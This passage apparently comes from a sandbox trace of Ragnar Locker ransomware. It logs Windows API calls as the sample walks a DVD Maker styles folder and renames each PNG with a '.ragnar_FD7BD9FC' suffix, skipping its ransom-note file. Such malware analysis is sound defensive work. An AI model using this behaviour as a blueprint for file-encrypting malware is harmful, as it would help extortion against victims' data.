[0079.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.267] CloseHandle (hObject=0xffffffff) returned 0 [0079.267] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" [0079.267] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.267] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.267] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.267] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.267] lstrcpyW (in: lpString1=0x1eab68, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0079.267] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png") returned=".png" [0079.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.268] CloseHandle (hObject=0xffffffff) returned 0 [0079.268] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" [0079.268] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.268] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.268] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.268] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.268] lstrcpyW (in: lpString1=0x1eab68, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0079.268] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png") returned=".png" [0079.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.268] CloseHandle (hObject=0xffffffff) returned 0 [0079.269] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" [0079.269] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.269] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.269] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817cc8a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x817cc8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.269] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.269] lstrcpyW (in: lpString1=0x1eab68, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.269] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.269] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.269] lstrcpyW (in: lpString1=0x1eab68, lpString2="scenesscroll.png" | out: lpString1="scenesscroll.png") returned="scenesscroll.png" [0079.269] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png") returned=".png" [0079.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.269] CloseHandle (hObject=0xffffffff) returned 0 [0079.269] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" [0079.269] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png.ragnar_FD7BD9FC" [0079.269] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.269] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 1 [0079.270] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.270] lstrcpyW (in: lpString1=0x1eab68, lpString2="specialmainsubpicture.png" | out: lpString1="specialmainsubpicture.png") returned="specialmainsubpicture.png" [0079.270] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png") returned=".png" [0079.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.270] CloseHandle (hObject=0xffffffff) returned 0 [0079.270] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" [0079.270] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png.ragnar_FD7BD9FC" [0079.270] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.270] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.270] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.270] lstrcpyW (in: lpString1=0x1eab68, lpString2="SpecialNavigationLeft_ButtonGraphic.png" | out: lpString1="SpecialNavigationLeft_ButtonGraphic.png") returned="SpecialNavigationLeft_ButtonGraphic.png" [0079.270] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png") returned=".png" [0079.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.271] CloseHandle (hObject=0xffffffff) returned 0 [0079.271] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" [0079.271] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.271] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.271] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.271] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.271] lstrcpyW (in: lpString1=0x1eab68, lpString2="SpecialNavigationLeft_SelectionSubpicture.png" | out: lpString1="SpecialNavigationLeft_SelectionSubpicture.png") returned="SpecialNavigationLeft_SelectionSubpicture.png" [0079.271] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png") returned=".png" [0079.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.272] CloseHandle (hObject=0xffffffff) returned 0 [0079.272] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" [0079.272] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.272] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.273] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.273] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.273] lstrcpyW (in: lpString1=0x1eab68, lpString2="SpecialNavigationRight_ButtonGraphic.png" | out: lpString1="SpecialNavigationRight_ButtonGraphic.png") returned="SpecialNavigationRight_ButtonGraphic.png" [0079.273] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png") returned=".png" [0079.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.273] CloseHandle (hObject=0xffffffff) returned 0 [0079.273] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" [0079.273] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.273] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.273] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.273] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.273] lstrcpyW (in: lpString1=0x1eab68, lpString2="SpecialNavigationRight_SelectionSubpicture.png" | out: 